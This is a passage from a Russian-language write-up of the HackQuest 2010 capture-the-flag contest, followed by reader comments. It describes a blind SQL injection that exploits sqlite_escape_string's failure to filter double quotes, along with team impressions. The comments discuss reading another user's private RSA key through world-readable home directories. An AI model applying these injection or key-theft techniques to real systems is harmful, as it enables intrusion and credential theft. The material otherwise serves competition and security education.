Среди всей этой информации в закладку входит несколько нужных распечаток. В них есть исходный код некого PHP-приложения, содержащего уязвимость типа SQL-инъекция. В комментариях к коду указан IP-адрес, на котором собственно и располагается приложение для проведения атаки (но даже эта информация никому не помогла успешно выполнить обсуждаемое задание).

Теперь о самой уязвимости. Для всего HackQuest 2010 было принято решение не использовать растиражированные техники, даже если задание содержит классические элементы нападения (в этом случае обязательно включался какой-нибудь хитрый изъян). В этом задании используется уязвимость функции sqlite_escape_string, которая не фильтрует двойную кавычку (http://www.xakep.ru/post/53551/default.asp ). Это слепая инъекция, так что, пользуясь классическими техниками, можно выгружать любые данные из таблиц базы данных. В одной из таблиц с "секретными" одноразовыми паролями и располагается заветный «флаг».

Мнения участников соревнования

HackQuest 2010 - интересное соревнование, предоставляющее игрокам задачи по различным направлениям. Для прохождения квеста была собрана команда форума rdot.org. В нее вошли люди, специализирующиеся в различных направлениях. Именно это позволило пройти квест полностью и раньше других участников.

Уровень сложности предоставленных задач – различный, но нельзя сказать, что какие-то задачи были легкими. Для получения каждого ключа необходимо было продемонстрировать уверенные знания в той или иной области информационной безопасности. Если задача была стандартна, то организаторы всегда добавляли какую-нибудь изюминку в процесс.

При проведении многочисленных атак на игровые серверы были неизбежны отказы в обслуживании, но, благодаря усилиям организаторов, уязвимые сервисы быстро возвращались на "поле боя" :)

Было приятно принимать участие в этом соревновании, и мы надеемся, что в следующем году оно будет проведено с еще большим размахом.
https://rdot.org/forum/showpost.php?p=12395&postcount=36

Вместо заключения

Спасибо всем, кто принимал участие в соревновании HQ2010! Спасибо всем разработчикам HQ2010, которые сделали его таким насыщенным и интересным. Отдельное спасибо Тимуру Юнусову, Сергею Павлову, Валерию Марчуку. Также хочется поблагодарить всех организаторов и спонсоров (ESET и SecurityLab), которые предоставили возможность провести подобное мероприятие.

До скорых встреч на будущих хак-квестах!

или введите имя

CAPTCHA
21-03-2011 18:31:46
После получения возможности выполнения команд ОС требуется скопировать закрытый RSA-ключ одного из пользователей системы.А каким образом юзер веб сервера может читать приватные файлы других юзеров? Или там апач под рутом?
0 |
22-03-2011 02:49:12
А каким образом юзер веб сервера может читать приватные файлы других юзеров? Или там апач под рутом? нет, разумеется apache не был запущен под рутом просто в каталоге пользователя выставлены заведомо уязвимые разрешения...
0 |
22-03-2011 03:00:52
А, ну если так... Прикол состоял в том, чтобы догадаться, что какой-то придурок открыл свой важный приватный файл для всех?
0 |
22-03-2011 06:45:41
Вы не поверите, но аналогичные проблемы с разграничением доступа встречаются довольно часто. RSA-ключ это частный случай.
0 |
22-03-2011 17:40:14
Проблемы обычно случаются, если надо решить какую-то проблему и ее решают по кратчайшему пути, не думая о безопасности. А кому может понадобиться открыть для всех свой (незапароленый?) RSA ключ или как это можно сделать случайно? Ну задача постановочная, понятно. Просто если следовать логике, до такого дойти тяжело
0 |
22-03-2011 19:26:39
как это можно сделать случайно chmod -R 755 /home
0 |
24-03-2011 01:48:17
НО ЗАЧЕМ?
0 |